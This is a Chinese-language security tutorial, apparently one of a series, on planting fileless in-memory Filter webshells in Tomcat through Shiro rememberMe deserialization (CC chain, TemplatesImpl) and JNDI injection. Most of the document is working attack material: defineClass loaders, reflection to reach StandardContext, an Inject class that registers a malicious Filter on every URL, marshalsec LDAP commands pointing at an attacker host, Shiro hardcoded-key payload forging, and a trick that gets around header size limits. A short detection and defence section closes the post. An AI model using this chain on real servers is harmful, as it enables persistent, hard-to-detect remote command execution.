反序列化与 JNDI 无文件注入内存马

反序列化与 JNDI 无文件注入内存马

前面 Filter / Servlet / Listener / Valve 各篇讲的是”拿到代码执行之后怎么把内存马塞进容器”。但攻击者最早是怎么拿到”代码执行”这一步的?最常见的是 反序列化(Shiro / Fastjson / CC 链)和 JNDI 注入。

这两条路有一个共同点:没有 JSP、没有 request 对象、恶意类不在 classpath。本文补齐这条从 RCE 入口到内存马落地的完整链路。

本质:用反序列化 / JNDI 把”注入类”送进 JVM,注入类在构造方法 / static 块里动态 defineClass 加载恶意 Filter,并通过无 request 反射链拿到 StandardContext 完成注册。整体框架见 《内存马原理总纲》,命令回显见 《TomcatEcho 无 request 命令回显》。


一、无文件注入的三个难点

对比 JSP 注入,无文件注入多了三个问题:

难点 JSP 注入 无文件注入
恶意类从哪来 直接写在 <%! %> 里 恶意类不在目标 classpath,需 defineClass 动态加载
StandardContext 怎么拿 有 request → 反射链 入口只有构造方法 / static 块,没有 request
命令回显 有 response 拿不到 response,需 TomcatEcho 链

二、defineClass 动态加载恶意类

2.1 为什么不能直接 new

JNDI 一次只能指向一个 class 文件;反序列化 gadget(TemplatesImpl)加载的也是一个类。而”注入器 + 恶意 Filter”至少两个类(Filter 要单独编译成 .class)。写成内部类也不行——内部类编译后仍生成独立的 class 文件。

标准做法:先用 javassist 把恶意 Filter 的字节码打成 Base64 字符串,运行时用 ClassLoader.defineClass 从字节数组还原出这个类。

// 生成端:javassist 把 ShellFilter 转成 Base64
import javassist.ClassPool;
import java.util.Base64;

public class DumpBase64 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        byte[] bytes = pool.get("ShellFilter").toBytecode();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

2.2 注入端:defineClass 还原类

// 注入端:把 Base64 字节码还原成类并实例化
String code = "yv66vgAA...";   // 上面生成的 Base64
byte[] bytes = Base64.getDecoder().decode(code);

ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
    "defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);

Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();

注意:

  • 用 Thread.currentThread().getContextClassLoader(),它持有 Web 应用的类路径,能解析 javax.servlet.* 等依赖;
  • defineClass 是 protected,必须 setAccessible(true);
  • JDK 9+ 推荐 getDeclaredConstructor().newInstance()(newInstance() 已废弃)。

三、没有 request:怎么拿 StandardContext

JSP 注入能走 request.getServletContext() → ApplicationContext → StandardContext(见 Filter 篇)。但无文件入口(构造方法 / static 块)里没有 request,要换一条链。

3.1 从线程上下文类加载器一路往下

WebappClassLoaderBase 是 Tomcat 的 Web 应用类加载器,每个线程都能拿到它(Thread.currentThread().getContextClassLoader()),它持有 resources → StandardContext 的引用:

Thread.currentThread().getContextClassLoader()
  → (WebappClassLoaderBase)
  → resources : WebResourceRoot(StandardRoot)
  → getContext() : StandardContext
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardRoot root = (StandardRoot) cl.getResources();
    return (StandardContext) root.getContext();
}

3.2 Tomcat 9+ 兼容坑:getResources() 弃用返回 null

getResources() 在 Tomcat 9 里已弃用(Fastjson 靶机正好是 Tomcat 9,实测返回 null → NPE)。兼容写法是反射取 resources 字段:

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

这是典型的”版本兼容”坑:getResources() 方法废弃、字段还在。利用时要根据目标 Tomcat 版本二选一;resources 字段本身在不同版本间也有改名/改包名的风险,实战前需确认目标版本。


四、入口一:JNDI 注入

4.1 回顾:JNDI 注入原理

InitialContext.lookup() 参数可控时,指向攻击者的 RMI/LDAP 服务,返回恶意 Reference,目标 JVM 远程加载并实例化恶意类:

lookup("ldap://attacker:1389/Exploit")
  → LDAP 返回 Reference(指向 http://attacker/Exploit.class)
  → 目标 JVM 远程加载 Exploit.class → new Exploit() → 构造方法 / static 块执行

4.2 限制:只有三个地方会被自动执行

JNDI 远程加载的类,只有 static{}、{}(实例初始化块)、无参构造方法会被自动执行。所以注入逻辑必须写在这三个地方之一(最常用无参构造方法)。

4.3 JNDI + defineClass 组合

受害者(Tomcat 8 + JDK 8u62,8u191 之前默认可远程加载 codebase):

// 受害者:HelloServlet.doGet 里 lookup 参数可控
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name);   // name = ldap://attacker:1389/Inject

恶意类 Inject(托管在攻击者 HTTP 服务器,无参构造方法里完成注入):

public class Inject {
    public Inject() throws Exception {          // ← JNDI 加载后自动执行
        StandardContext context = getContext(); // 无 request 链,见第三节
        Filter filter = getFilter();            // defineClass 加载恶意 Filter,见第二节

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
    }
}

攻击流程:

# 1. HTTP 托管 Inject.class
python3 -m http.server 80

# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer "http://attacker/#Inject" 1389

# 3. 触发受害者
# GET /hello?name=ldap://attacker:1389/Inject

高版本 JDK 限制:JDK 8u191+ 默认禁止从远程 codebase 加载类(com.sun.jndi.ldap.object.trustURLCodebase=false),JNDI 注入需要本地 Factory 或其他绕过。这也是很多靶场用 8u62~8u181 的原因。


五、入口二:反序列化注入(TemplatesImpl 链)

5.1 反序列化加载字节码:TemplatesImpl

Java 原生反序列化没有”直接执行任意代码”的方法,需要 gadget 链。最通用的”加载字节码并执行”载体是 TemplatesImpl:它的 _bytecodes 字段保存字节码,getTransletInstance() 会 defineClass 并实例化——但要求恶意类继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

// 恶意类:继承 AbstractTranslet,构造方法里写注入逻辑(同 4.3)
public class Inject extends AbstractTranslet {
    public Inject() { /* 完成 Filter 注册 */ }
    @Override public void transform(DOM d, SerializationHandler[] h) {}
    @Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}

构造 TemplatesImpl(用反射设置私有字段):

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ 注入类字节码 }); // 用 javassist 取
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

5.2 触发:CC 链

反序列化入口一般是 HashMap.readObject → hashCode → TiedMapEntry → LazyMap.get → ChainedTransformer → InstantiateTransformer → TrAXFilter → TemplatesImpl.newTransformer() → getTransletInstance() → 实例化恶意类。这条 CC 链需要 commons-collections 3.2.1(Shiro 1.2.4 自带)。

5.3 Shiro 实战:rememberMe = 对象 → 序列化 → AES

Shiro 的 rememberMe 处理:Cookie 值 = Base64(AES(序列化对象))。密钥硬编码(kPH+bIxk5D2deZiIxcaaaA==)时,可伪造任意序列化数据:

// 生成 rememberMe 值
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(序列化后的CC链, key);
// 输出 → 塞进 Cookie: rememberMe=...

5.4 实战坑:Header 8k 限制 → ShellLoader 拆分

直接把”注入类(含 Filter 字节码)”塞进 rememberMe,序列化后超过 Tomcat 默认 8k 请求头上限,请求直接 400。解决思路:rememberMe 里只放一个 ShellLoader(小),真正要注册的 Filter 字节码放 POST body。

POST / HTTP/1.1
Cookie: rememberMe=<ShellLoader 的 AES 载荷>   ← 反序列化触发 ShellLoader
Content-Type: application/x-www-form-urlencoded
code=<Filter 字节码的 Base64>                  ← POST body,不走 Header

ShellLoader(继承 AbstractTranslet,static 块执行):

public class ShellLoader extends AbstractTranslet {
    static {
        // 1. TomcatEcho 链拿到当前请求(见下篇),从 body 读 code 参数
        // 2. defineClass 加载 code 指向的 Filter 字节码
        // 3. newInstance() → Filter 的构造/初始化逻辑注册进容器
    }
}

配合编译优化 -g:none 去掉调试信息,能把 ShellLoader 的字节码再缩小一截,更容易塞进 8k 请求头。


六、完整攻击链

Shiro rememberMe Cookie
  → Base64 解码 → AES 解密 → 反序列化(CC 链)
  → TemplatesImpl 加载 ShellLoader 字节码并实例化
  → ShellLoader.static{} 执行
      → TomcatEcho 链拿到当前 Request(见下篇)
      → 读 POST body 的 code 参数(Filter 字节码 Base64)
      → defineClass 加载 Filter
      → 无 request 反射链拿 StandardContext(第三节)
      → addFilterDef / addFilterMapBefore / filterStart → Filter 内存马落地
  → 之后任意请求 ?cmd=xxx 即命令回显

JNDI 入口(Fastjson JdbcRowSetImpl + dataSourceName + autoCommit)同理,只是”进入 JVM”的方式从反序列化换成了 JNDI 远程加载类。


七、检测与防御

检测

手段 说明
入口修复 检查 Shiro / Fastjson 等反序列化点与 JNDI 可控 lookup(事前)
监控 defineClass RASP 监控 ClassLoader.defineClass 的非启动阶段调用
监控 JNDI RASP 监控 InitialContext.lookup 的参数来源与调用栈
基线对比 注入完成后仍是 Filter 基线对比(同 Filter 篇)

防御

层面 措施
事前 修复 Shiro 硬编码密钥、Fastjson AutoType、反序列化入口——切断”进入 JVM”这一步
升级 JDK ≥ 8u191(JNDI 远程加载默认关闭)
事中 RASP 监控 defineClass / lookup / addFilterDef 的调用栈
事后 Filter / Listener / Valve 基线巡检

总结

无文件注入与 JSP 注入的本质区别,是把前面几篇里”现成可用的 request / 类”换成三个等价物:

JSP 注入 无文件注入
<%! %> 内联恶意类 ClassLoader.defineClass 加载字节码
request 反射链拿 context Thread.getContextClassLoader → resources → StandardContext
response 回显 TomcatEcho 链(见下篇)

记住:内存马的类型没变(还是 Filter / Listener / Valve……),变的是把注入类送进 JVM 的入口。攻击者最终都要回答同一个问题——”在我的代码里,怎么拿到容器注册表的引用”。

延伸阅读:《内存马原理总纲》 《TomcatEcho 无 request 命令回显》 《Tomcat Filter 内存马》 《Fastjson反序列化漏洞深度剖析》
改变就是好事。